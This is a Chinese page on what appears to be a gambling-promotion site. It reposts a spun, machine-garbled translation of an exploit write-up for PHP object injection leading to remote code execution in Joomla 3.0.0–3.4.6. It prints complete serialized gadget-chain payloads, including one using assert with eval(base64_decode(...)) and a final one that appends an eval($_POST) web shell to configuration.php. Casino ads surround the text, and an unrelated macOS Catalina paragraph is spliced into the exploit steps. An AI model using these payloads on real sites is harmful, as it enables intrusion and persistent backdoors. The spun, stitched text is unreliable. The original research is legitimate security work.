Rusty Joomla RCE破绽剖析 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Rusty Joomla RCE破绽剖析

申博_新闻事件 申博 108次浏览 未收录 0个评论

申博开户

申博开户是亚洲最有公信力的网上娱乐平台,汇集了各种经典游戏,涵盖新老多种游戏,给人不一样的娱乐体验,申博开户拥有很强的新潮性和良好的口碑。申博免费开户,办理会员更可以享受优惠。申博用户反映良好,且人气火爆,经过长时间的检验,拥有一定的运营基础。开户后优惠不断,更有娱乐惊喜等待着你,申博的信誉度高,秉持公平公正公开的原则,是多年的运营品牌,值得信赖

,

研究人员在Joomla CMS 3.0.0到3.4.6版本(宣布时候为2012年到2015年12月)中发明了一个PHP对象注入破绽,攻击者应用该破绽能够完成长途代码实行。

CVE-2015-8562是也是有个php对象注入破绽,并且在3.4.5版本中举行了修复。将本破绽与CVE-2015-8562对照剖析,发明:
+ 本破绽的应用与环境无关,因而越发牢靠。

+ 破绽影响的版本为3.0.0到3.4.6。

破绽剖析

下面是用读写函数的代码:

Rusty Joomla RCE破绽剖析

写函数会接收2个参数:来自cookie的session_id和序列化的对象。在将数据保留到数据库中之前,函数用‘\0\0\0’替代了 ‘\x00\x2a\x00’ (chr(0).’*’.chr(0)) 。这是因为 MySQL没法保留序列化对象中‘\x00\x2a\x00’前缀的Null Bytes和$protected变量。

另一方面,在读取时,read函数会用‘\x00\x2a\x00’ 来替代 ‘\0\0\0’ 来重构本来的对象。

这一替代的重要题目是用3字节替代了6字节的数据:

Rusty Joomla RCE破绽剖析

这一行动从3.00版本中引入一向延续到3.4.6版本。从3.4.7版本最先,部份代码依然存在,但session在数据库中是base64编码和保留的。

研究人员能够经由历程action参数来修正session对象。如许,就能够注入‘\0\0\0’ (read函数中被替代的3字节),使其因为不正确的大小致使没法经由历程对象有用性考证。

假如将login form作为目的,将 ‘my\0\0\0username’ 放入username域中,在数据库中就能够看到:

s:8:s:"username";s:16:"my\0\0\0username"

假如session对象是从read函数中读取的,‘\0\0\0’就会被替代,以下:

s:8:s:"username";s:16:"myN*Nusername" --> Invalid Size

替代的字符串只需13字节长,但声明的字符串长度依然是16字节。因而能够应用溢出的题目来捏造有个能完成RCE的新对象。

破绽应用

为了触发恣意对象并完成RCE,研究人员需要2个参数,第一个用来激发overflow,第二个含有破绽应用的末了一步。目的就是login form的username和password域。

应用的步骤为:
– 用‘\0\0\0’来溢出username域使其处在password域中

– 重构一个有用的对象

剖析macOS Catalina重大版本更新带来的安全性变化与挑战

概述 Apple在10月8日(周二)发布了macOS Catalina的首个公开发行版本,随即吸引了众多开发人员,其中包括一些提供安全解决方案的开发人员、团队和普通macOS用户。经过分析,我们发现macOS 10.15中引入了一些重大变化,这无疑是近一段时间来macOS最大规模的版本改动。而用户在考虑是否升级Catalina之前,应该了解这些改动是否影响当前的企业工作流程,相关依赖代码是否仍然可用,是否需要对依赖代码做进一步更新,以及新版本的macOS是否需要使用新的软件或新的工作方式。在本文中,我们

– 发送破绽应用

– 动身破绽应用

研究人员起首能够将字符串的大小变小。经由历程在username域如许做,能够举行捏造,并使其鄙人一个研究人员掌握的参数中末端。

[..]s:8:s:"username";s:10:"MYUSERNAME";s:8:"password";s:10:"MYPASSWORD"[...]

从中能够看出,username值的末端到password的最先的间隔是27字节。有破绽的替代历程会将该值削减3的倍数(3字节-6字节),所以研究人员在username域最少需要8次 ‘\0\0\0’才激发1个字符的溢出,研究人员在POC中使用了9此\0\0\0。

下面代码中黑体的部份是对username的非序列号读:

(在数据库中)

s:8:s:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:10:"MYPASSWORD"

(读和替代后)

s:8:s:"username";s:54:"NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:10:"MYPASSWORD"

(完成对象注入):

s:8:s:"username";s:54:"NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:10:"MYPA";s:2:"HS":O:15:"ObjectInjection"[...]

注入对象有许多稳固的体式格局,研究人员应用的来自CVE-XXXX破绽应用的payload作为最先点,然则呢需要做一些修正:

O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:71:"eval(base64_decode($_SERVER['HTTP_ZWQXJ']));JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}

Payload会用 JDatabaseDriverMysqli 对象来申明,并为其他对象的数组分派disconnectHandlers属性。这是因为类中定义的__destruct会挪用$this->disconnect(),致使call_user_func_array():

Rusty Joomla RCE破绽剖析

关于disconnectHandlers数组中的每一个值,call_user_func_array()都邑援用对象 (&$this) 作为参数来实行。研究人员以为只需掌握函数挪用就能够了,因而使用了SimplePie对象。

在SimplePie::init中,有许多 gadget:

Rusty Joomla RCE破绽剖析

这就是研究人员以为本来的payload为何不会事情的缘由,因为必需要满足一个前提才接收这行代码:必需声明$this->cache,$parsed_feed_url[‘scheme’]中也必需要含有一些内容。

绕过该前提异常简朴。起首,将cache_name_function设置为system,比方‘https://something/;id’ 就能够了。第一个敕令失利了然则分号以后的运转一般。
然则在开辟Metasploit 模块时,研究人员对这一计划并不惬意。假如目的环境禁用了system、exec如许的函数,就没法举行下一步的破绽应用了。

所以,研究人员回到assert函数,检察是不是能够在搜检该前提的同时完成PHP代码实行。前提搜检的是一个含有有用计划的字符串,比方 http://,然则如许激发语法错误。为了绕过,研究人员使用了OR (||) 语句,将该计划变成一个变量,比方:

<PHP CODE> || $a=’http//’;

然则碰到特别字符(如?)时有涌现了受限的题目,因而研究人员在root目任命 eval()函数创建了一个PHP文件,然则没有?标记,web服务器没法翻译代码。在root目次中有一个configuration.php文件。该文件就是一个class的声明,加上设置参数。研究人员在该文件末端加上一个eval,并用来实行含有以下payload的PHP代码:

file_put_contents('configuration.php','if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';

效果就是以下的挪用:

call_user_func("assert","file_put_contents('configuration.php','if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';")

终究的对象:

s:2:"HS":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:125:"file_put_contents('configuration.php','if(isset($_POST[\'test\'])) eval($_POST[\'test\']);', FILE_APPEND) || $a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}

如今就有了开辟一个破绽应用所需的一切前提。然后研究人员用login form来发送破绽应用,这会将歹意对象保留到数据库中。

然后随着第一个相应的重定向,payload就会从数据库中提取出来,session_start() 函数也会反序列化。这就完成了RCE。

本文翻译自:https://www.exploit-db.com/exploits/47465https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Rusty Joomla RCE破绽剖析
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址